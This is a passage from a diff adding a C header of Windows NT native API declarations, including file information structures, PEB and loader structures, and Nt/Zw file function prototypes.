WCHAR FileName[1]; +} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; + + +typedef struct _FILE_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; + + +typedef struct _FILE_BASIC_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; + + +typedef struct _FILE_STANDARD_INFORMATION { + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; +} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION; + + +typedef struct _FILE_INTERNAL_INFORMATION { + LARGE_INTEGER IndexNumber; +} FILE_INTERNAL_INFORMATION, *PFILE_INTERNAL_INFORMATION; + + +typedef struct _FILE_EA_INFORMATION { + ULONG EaSize; +} FILE_EA_INFORMATION, *PFILE_EA_INFORMATION; + + +typedef struct _FILE_ACCESS_INFORMATION { + ACCESS_MASK AccessFlags; +} FILE_ACCESS_INFORMATION, *PFILE_ACCESS_INFORMATION; + + +typedef struct _FILE_NAME_INFORMATION { + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; + + +typedef struct _FILE_RENAME_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_RENAME_INFORMATION, *PFILE_RENAME_INFORMATION; + + +typedef struct _FILE_NAMES_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; + + +typedef struct _FILE_DISPOSITION_INFORMATION { + BOOLEAN DeleteFile; +} FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; + + +typedef struct _FILE_POSITION_INFORMATION { + LARGE_INTEGER CurrentByteOffset; +} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; + + +typedef struct _FILE_FULL_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; + + +typedef struct _FILE_MODE_INFORMATION { + ULONG Mode; +} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; + + +typedef struct _FILE_ALIGNMENT_INFORMATION { + ULONG AlignmentRequirement; +} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; + + +typedef struct _FILE_ALL_INFORMATION { + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; + + +typedef struct _FILE_ALLOCATION_INFORMATION { + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; + + +typedef struct _FILE_END_OF_FILE_INFORMATION { + LARGE_INTEGER EndOfFile; +} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; + + +typedef struct _FILE_STREAM_INFORMATION { + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; + +typedef struct _FILE_PIPE_INFORMATION { + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; + + +typedef struct _FILE_PIPE_LOCAL_INFORMATION { + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; + + +typedef struct _FILE_PIPE_REMOTE_INFORMATION { + LARGE_INTEGER CollectDataTime; + ULONG MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; + + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; + + +typedef struct _FILE_MAILSLOT_SET_INFORMATION { + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; + + +typedef struct _FILE_COMPRESSION_INFORMATION { + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; + + +typedef struct _FILE_LINK_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; + + +typedef struct _FILE_OBJECTID_INFORMATION +{ + LONGLONG FileReference; + UCHAR ObjectId[16]; + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + } ; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; + + +typedef struct _FILE_COMPLETION_INFORMATION { + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; + + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION { + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; + + +typedef struct _FILE_NETWORK_OPEN_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; +} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; + + +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { + ULONG FileAttributes; + ULONG ReparseTag; +} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; + + +typedef struct _FILE_TRACKING_INFORMATION { + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; + + +typedef struct _FILE_REPARSE_POINT_INFORMATION { + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; + + +typedef struct _FILE_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; + + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; + + +typedef struct _FILE_ID_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; + + +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { + LARGE_INTEGER ValidDataLength; +} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; + +typedef struct _FILE_LINK_ENTRY_INFORMATION { + ULONG NextEntryOffset; + LONGLONG ParentFileId; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_ENTRY_INFORMATION, *PFILE_LINK_ENTRY_INFORMATION; + +typedef struct _FILE_LINKS_INFORMATION { + ULONG BytesNeeded; + ULONG EntriesReturned; + FILE_LINK_ENTRY_INFORMATION Entry; +} FILE_LINKS_INFORMATION, *PFILE_LINKS_INFORMATION; + + + +typedef enum _FSINFOCLASS { + FileFsVolumeInformation = 1, + FileFsLabelInformation, // 2 + FileFsSizeInformation, // 3 + FileFsDeviceInformation, // 4 + FileFsAttributeInformation, // 5 + FileFsControlInformation, // 6 + FileFsFullSizeInformation, // 7 + FileFsObjectIdInformation, // 8 + FileFsDriverPathInformation, // 9 + FileFsMaximumInformation +} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; + + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER AllocationSize, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PVOID EaBuffer, + IN ULONG EaLength); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER AllocationSize, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PVOID EaBuffer, + IN ULONG EaLength); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryDirectoryFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN PUNICODE_STRING FileName OPTIONAL, + IN BOOLEAN RestartScan + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDirectoryFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN PUNICODE_STRING FileName OPTIONAL, + IN BOOLEAN RestartScan + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryVolumeInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryVolumeInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryEaFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN PVOID EaList OPTIONAL, + IN ULONG EaListLength, + IN PULONG EaIndex OPTIONAL, + IN BOOLEAN RestartScan); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryEaFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN PVOID EaList OPTIONAL, + IN ULONG EaListLength, + IN PULONG EaIndex OPTIONAL, + IN BOOLEAN RestartScan); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetEaFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwSetEaFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length); + + +NTSYSAPI +NTSTATUS +NTAPI +NtReadFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwReadFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtWriteFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwWriteFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDeleteFile( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteFile( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtFlushBuffersFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwFlushBuffersFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDeviceIoControlFile( + IN HANDLE FileHandle, + IN HANDLE Event, + IN PIO_APC_ROUTINE ApcRoutine, + IN PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN PVOID InputBuffer, + IN ULONG InputBufferLength, + IN PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwDeviceIoControlFile( + IN HANDLE FileHandle, + IN HANDLE Event, + IN PIO_APC_ROUTINE ApcRoutine, + IN PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN PVOID InputBuffer, + IN ULONG InputBufferLength, + IN PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtCancelIoFile( + IN HANDLE Filehandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCancelIoFile( + IN HANDLE Filehandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlDosPathNameToNtPathName_U ( + IN PWSTR DosPathName, + OUT PUNICODE_STRING NtPathName, + OUT PWSTR * NtFileNamePart OPTIONAL, + OUT PCURDIR DirectoryInfo OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Process functions + +#define GDI_HANDLE_BUFFER_SIZE 34 + +// +// Process Information Classes +// + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, // Note: this is kernel mode only + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum +} PROCESSINFOCLASS; + + +typedef struct _THREAD_BASIC_INFORMATION { + NTSTATUS ExitStatus; + PVOID TebBaseAddress; + CLIENT_ID ClientId; + KAFFINITY AffinityMask; + KPRIORITY Priority; + KPRIORITY BasePriority; +} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; + + +// +// Thread Information Classes +// + +typedef enum _THREADINFOCLASS { + ThreadBasicInformation, // ?? + ThreadTimes, + ThreadPriority, // ?? + ThreadBasePriority, // ?? + ThreadAffinityMask, // ?? + ThreadImpersonationToken, // HANDLE + ThreadDescriptorTableEntry, // ULONG Selector + LDT_ENTRY + ThreadEnableAlignmentFaultFixup, // ?? + ThreadEventPair, // ?? + ThreadQuerySetWin32StartAddress, // ?? + ThreadZeroTlsCell, // ?? + ThreadPerformanceCount, // ?? + ThreadAmILastThread, // ?? + ThreadIdealProcessor, // ?? + ThreadPriorityBoost, // ?? + ThreadSetTlsArrayAddress, // ?? + MaxThreadInfoClass +} THREADINFOCLASS; + +// +// System Information Class for Nt*InformationWorkerFactory group of functions +// +typedef enum _WORKERFACTORYINFOCLASS +{ + WorkerFactoryTimeout, + WorkerFactoryRetryTimeout, + WorkerFactoryIdleTimeout, + WorkerFactoryBindingCount, + WorkerFactoryThreadMinimum, + WorkerFactoryThreadMaximum, + WorkerFactoryPaused, + WorkerFactoryBasicInformation, + WorkerFactoryAdjustThreadGoal, + WorkerFactoryCallbackType, + WorkerFactoryStackInformation, + MaxWorkerFactoryInfoClass +} WORKERFACTORYINFOCLASS, *PWORKERFACTORYINFOCLASS; + +typedef struct _WORKER_FACTORY_BASIC_INFORMATION { + LARGE_INTEGER Timeout; + LARGE_INTEGER RetryTimeout; + LARGE_INTEGER IdleTimeout; + BOOLEAN Paused; + BOOLEAN TimerSet; + BOOLEAN QueuedToExWorker; + BOOLEAN MayCreate; + BOOLEAN CreateInProgress; + BOOLEAN InsertedIntoQueue; + BOOLEAN Shutdown; + ULONG BindingCount; + ULONG ThreadMinimum; + + ULONG ThreadMaximum; + ULONG PendingWorkerCount; + + ULONG WaitingWorkerCount; + ULONG TotalWorkerCount; + + ULONG ReleaseCount; + + LONGLONG InfiniteWaitGoal; + PVOID StartRoutine; + PVOID StartParameter; + DWORD ProcessId; + SIZE_T StackReserve; + SIZE_T StackCommit; + NTSTATUS LastThreadCreationStatus; +} WORKER_FACTORY_BASIC_INFORMATION, *PWORKER_FACTORY_BASIC_INFORMATION; + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; + +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; // Should be set before call RtlCreateProcessParameters + ULONG Length; // Length of valid structure + ULONG Flags; // Currently only PPF_NORMALIZED (1) is known: + // - Means that structure is normalized by call RtlNormalizeProcessParameters + ULONG DebugFlags; + + PVOID ConsoleHandle; // HWND to console window associated with process (if any). + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; // Specified in DOS-like symbolic link path, ex: "C:/WinNT/SYSTEM32" + UNICODE_STRING DllPath; // DOS-like paths separated by ';' where system should search for DLL files. + UNICODE_STRING ImagePathName; // Full path in DOS-like format to process'es file image. + UNICODE_STRING CommandLine; // Command line + PVOID Environment; // Pointer to environment block (see RtlCreateEnvironment) + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; // Fill attribute for console window + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; // Name of WindowStation and Desktop objects, where process is assigned + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectores[0x20]; + +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +// +// Process Environment Block +// + +typedef struct _PEB_FREE_BLOCK +{ + struct _PEB_FREE_BLOCK *Next; + ULONG Size; + +} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; + + +typedef struct _PEB_LDR_DATA +{ + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; // Points to the loaded modules (main EXE usually) + LIST_ENTRY InMemoryOrderModuleList; // Points to all modules (EXE and all DLLs) + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + +} PEB_LDR_DATA, *PPEB_LDR_DATA; + + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; // Base address of the module + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + LIST_ENTRY HashLinks; + PVOID SectionPointer; + ULONG CheckSum; + ULONG TimeDateStamp; + PVOID LoadedImports; + PVOID EntryPointActivationContext; + PVOID PatchInformation; + PVOID Unknown1; + PVOID Unknown2; + PVOID Unknown3; + +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + + +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the + BOOLEAN ReadImageFileExecOptions; // + BOOLEAN BeingDebugged; // + BOOLEAN SpareBool; // + HANDLE Mutant; // INITIAL_PEB structure is also updated. + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PVOID FastPebLockRoutine; + PVOID FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PVOID KernelCallbackTable; + HANDLE SystemReserved; + PVOID AtlThunkSListPtr32; + PPEB_FREE_BLOCK FreeList; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[2]; // relates to TLS_MINIMUM_AVAILABLE + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PVOID *ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + + // + // Useful information for LdrpInitialize + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + // + // Passed up from MmCreatePeb from Session Manager registry key + // + + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + + // + // Where heap manager keeps track of all heaps created for a process + // Fields initialized by MmCreatePeb. ProcessHeaps is initialized + // to point to the first free byte after the PEB and MaximumNumberOfHeaps + // is computed from the page size used to hold the PEB, less the fixed + // size of this data structure. + // + + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PVOID *ProcessHeaps; + + // + // + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PVOID LoaderLock; + + // + // Following fields filled in by MmCreatePeb from system values and/or + // image header. These fields have changed since Windows NT 4.0, + // so use with caution + // + + ULONG OSMajorVersion; + ULONG OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + ULONG OSPlatformId; + ULONG ImageSubsystem; + ULONG ImageSubsystemMajorVersion; + ULONG ImageSubsystemMinorVersion; + ULONG ImageProcessAffinityMask; + ULONG GdiHandleBuffer[GDI_HANDLE_BUFFER_SIZE]; + +} PEB, *PPEB; + +typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME *PRTL_ACTIVATION_CONTEXT_STACK_FRAME; +typedef struct _ACTIVATION_CONTEXT *PACTIVATION_CONTEXT; +typedef struct _TEB_ACTIVE_FRAME *PTEB_ACTIVE_FRAME; +typedef struct _TEB_ACTIVE_FRAME_CONTEXT *PTEB_ACTIVE_FRAME_CONTEXT; + +typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { + PRTL_ACTIVATION_CONTEXT_STACK_FRAME Previous; + PACTIVATION_CONTEXT *ActivationContext; + ULONG Flags; +} RTL_ACTIVATION_CONTEXT_STACK_FRAME, *PRTL_ACTIVATION_CONTEXT_STACK_FRAME; + +typedef struct _ACTIVATION_CONTEXT_STACK +{ + PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; + LIST_ENTRY FrameListCache; + ULONG Flags; + ULONG NextCookieSequenceNumber; + ULONG StackId; +} ACTIVATION_CONTEXT_STACK, *PACTIVATION_CONTEXT_STACK; +#define GDI_BATCH_BUFFER_SIZE 310 + +typedef struct _GDI_TEB_BATCH +{ + ULONG Offset; + ULONG_PTR HDC; + ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; +} GDI_TEB_BATCH, *PGDI_TEB_BATCH; + +typedef struct 